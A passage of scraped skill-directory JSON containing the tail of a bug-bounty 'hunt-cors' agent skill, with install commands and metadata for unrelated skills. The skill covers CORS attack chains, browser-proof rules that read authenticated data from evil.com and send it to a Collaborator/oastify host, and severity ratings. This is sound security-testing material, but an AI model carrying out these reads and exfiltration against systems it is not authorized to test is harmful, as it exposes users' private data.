|\n| Trusted subdomain has XSS | hunt-xss → run 5a from trusted origin | Reliable credentialed read |\n| Dangling trusted subdomain | hunt-subdomain takeover → host 5c there | Full credentialed read |\n| postMessage no\u002Floose origin check | hunt-dom: inject iframe, send crafted message | DOM XSS \u002F client auth bypass |\n\n---\n\n## Validation discipline (read before submitting)\n\n- **Browser proof mandatory.** curl reflecting a header is NOT exploitation.\n  Show a screenshot\u002Fconsole log of the authed body read from `evil.com`. If the\n  fetch throws \u002F logs `BLOCKED`, you have nothing.\n- **`ACAO: *` + credentials = not a finding.** Browsers block it. Only pursue\n  wildcard if the data is sensitive unauthenticated (then it is usually Low).\n- **`ACAC: true` alone proves nothing** — it must pair with your reflected\n  origin AND a successful readable cross-origin body.\n- **Match the regex class to the payload (Phase 3).** Do not submit\n  `target.com.evil.com` against an end-anchored escaped-dot regex — it does not\n  match and is not a bug.\n- **`evil.target.com` reflecting is not automatically a bug** — it is an\n  in-scope subdomain by design unless you can actually control it.\n- **OOB confirmation** for blind\u002Fheadless contexts: exfil the read body to a\n  Burp Collaborator \u002F oastify host and show the interaction. Use a unique\n  per-test marker so the hit is unambiguously yours.\n- **Sensitive data requirement.** A readable `\u002Fapi\u002Fhealth` is not High. Tie the\n  read to PII, tokens, secrets, or financial data to justify severity.\n\n**Severity:**\n- Reflects attacker origin + creds + sensitive body, browser-proven: High\n- Pre-flight authorizes attacker-origin state change on sensitive action: High\n- Null-origin + sensitive authed body, browser-proven: Medium–High\n- Subdomain-takeover\u002FXSS-assisted credentialed read: High\u002FCritical\n- Reflects origin, no credentials \u002F non-sensitive: Low–Informational\n- `ACAO: *` only (no creds possible): Informational unless data is secret\n",{"name":5,"sources":24,"description":7,"report_count":25},"hackerone_public",19,"main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fhunt-cors",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-cors",{"tool":40,"command":41},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-cors",{"tool":43,"command":44},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-cors","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunt-cors\u002FSKILL.md",true,[],[49,57,62,69,76,83],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":56},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":58,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":56},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":56},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":56},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":56},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":56},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]